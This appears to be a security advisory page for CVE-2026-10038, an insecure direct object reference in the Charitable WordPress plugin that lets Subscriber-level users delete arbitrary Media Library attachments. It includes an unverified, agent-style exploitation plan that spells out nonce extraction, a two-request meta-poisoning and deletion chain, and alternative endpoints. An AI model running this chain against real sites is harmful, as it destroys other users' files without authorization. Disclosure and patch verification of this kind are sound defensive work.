CVE-2026-10038

Charitable <= 1.8.11.1 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Attachment Deletion via 'avatar' Parameter

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.8.11.2
Patched in
1d
Time to patch

Description

The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to Insecure Direct Object Reference / Authorization Bypass leading to Arbitrary Attachment Deletion in versions up to, and including, 1.8.11.1 via the profile avatar update flow. This is due to the save_avatar() function in Charitable_Profile_Form calling wp_delete_attachment() on an attachment ID read from the user's 'avatar' meta without validating that the attachment is owned by the user, combined with Charitable_Data_Processor::process_picture() returning the raw posted value when no file is uploaded, allowing the 'avatar' user meta to be poisoned with any attacker-chosen attachment ID. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary attachments from the Media Library by performing a two-request chain (first poisoning the stored avatar meta value with a target attachment ID, then triggering deletion via a normal avatar upload).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.11.1
PublishedJune 5, 2026
Last updatedJune 5, 2026
Affected plugincharitable

What Changed in the Fix

Changes introduced in v1.8.11.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-10038 (Charitable Arbitrary Attachment Deletion) ## 1. Vulnerability Summary The Charitable plugin for WordPress (versions <= 1.8.11.1) contains an Insecure Direct Object Reference (IDOR) vulnerability in its profile update flow. The vulnerability stems from a…

Show full research plan

Exploitation Research Plan: CVE-2026-10038 (Charitable Arbitrary Attachment Deletion)

1. Vulnerability Summary

The Charitable plugin for WordPress (versions <= 1.8.11.1) contains an Insecure Direct Object Reference (IDOR) vulnerability in its profile update flow. The vulnerability stems from a two-part failure in logic:

  1. Meta Poisoning: The Charitable_Data_Processor::process_picture() function (used to handle avatar uploads) incorrectly returns the raw value of the avatar POST parameter if no file is actually uploaded. This allows an authenticated user to set their avatar user meta to an arbitrary integer (representing an attachment ID).
  2. Unvalidated Deletion: When a user subsequently updates their profile with a new avatar, the Charitable_Profile_Form::save_avatar() function retrieves the "old" attachment ID from the user's meta and calls wp_delete_attachment() on it without verifying that the current user owns that attachment.

2. Attack Vector Analysis

  • Endpoint: The profile form submission handler, typically triggered via a POST request to a page containing the [charitable_profile] shortcode or via admin-ajax.php/admin-post.php if the form redirects there.
  • Action: update_profile (defined in Charitable_Profile_Form::$form_action).
  • Required Parameter: avatar (the ID or file input), and the nonce _charitable_user_profile_nonce.
  • Authentication: Authenticated Subscriber-level access or higher.
  • Preconditions: The attacker must be able to view the profile form to obtain a valid nonce.

3. Code Flow

  1. Submission: User submits the profile form (Charitable_Profile_Form).
  2. Processing (Poisoning):
    • The form processes input via Charitable_Data_Processor::process_picture().
    • If a numeric value is passed in the avatar parameter and no file is uploaded, the function returns that numeric value.
    • This value is saved to the user's meta key avatar via the charitable_profile_update_values filter.
  3. Deletion (Triggering):
    • User submits the profile form again, this time uploading a legitimate image.
    • Charitable_Profile_Form::save_avatar() is triggered.
    • It retrieves the current value of the avatar meta (the poisoned ID).
    • It calls wp_delete_attachment( $poisoned_id ).
    • Result: The attachment corresponding to $poisoned_id is deleted from the server and database.

4. Nonce Acquisition Strategy

The Charitable_Profile_Form uses a nonce for security.

  • Nonce Name: _charitable_user_profile_nonce
  • Action String: charitable_user_profile

Acquisition Steps:

  1. Create a page with the profile shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[charitable_profile]' --post_title='Profile'
  2. Log in as a Subscriber user.
  3. Use the browser_navigate tool to go to the created page.
  4. Use browser_eval to extract the nonce from the hidden input field:
    browser_eval('document.querySelector(\'input[name="_charitable_user_profile_nonce"]\').value')

5. Exploitation Strategy

Step 1: Meta Poisoning

Set the user's avatar meta to the ID of the target attachment (e.g., Attachment ID 99).

  • Method: POST
  • URL: [URL of the page with [charitable_profile]]
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • _charitable_user_profile_nonce: [EXTRACTED_NONCE]
    • action: update_profile
    • avatar: 99 (The target attachment ID)
    • first_name: Attacker (Required field)
    • last_name: User (Required field)
    • user_email: attacker@example.com (Required field)

Step 2: Trigger Deletion

Perform a multipart/form-data POST to upload a new avatar. This causes the plugin to "clean up" the previous (poisoned) avatar.

  • Method: POST
  • URL: [URL of the page with [charitable_profile]]
  • Headers: Content-Type: multipart/form-data
  • Parameters:
    • _charitable_user_profile_nonce: [EXTRACTED_NONCE]
    • action: update_profile
    • avatar: [A legitimate small image file]
    • first_name: Attacker
    • last_name: User
    • user_email: attacker@example.com

6. Test Data Setup

  1. Admin User: Create a standard admin.
  2. Target Attachment: As Admin, upload an image (e.g., target.jpg). Note its ID (e.g., ID: 10).
  3. Subscriber User: Create a user victim_subscriber with the Subscriber role.
  4. Public Page: Create a page at /profile/ containing the [charitable_profile] shortcode.

7. Expected Results

  • After Step 1: The user meta avatar for the Subscriber user should be exactly 10.
  • After Step 2:
    • The HTTP response should indicate a successful profile update.
    • The attachment with ID 10 should no longer exist in the WordPress media library.
    • The file on disk associated with attachment 10 should be deleted.

8. Verification Steps

  1. Check Meta (After Step 1):
    wp user meta get [SUBSCRIBER_ID] avatar
    Expected: 10
  2. Check Attachment Existence (After Step 2):
    wp post exists 10
    Expected: No output (or exit code 1)
  3. Check Media Library:
    wp post list --post_type=attachment --post__in=10
    Expected: Empty list

9. Alternative Approaches

If direct form submission to the page fails, attempt to submit to admin-post.php:

  • URL: /wp-admin/admin-post.php
  • Body: Add charitable_action=update_profile to the parameters, as some Charitable forms use a custom action router in the admin-post.php flow.

If process_picture() rejects raw integers in a standard POST, try a multipart/form-data request where the avatar field is a text part containing the ID instead of a file part.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.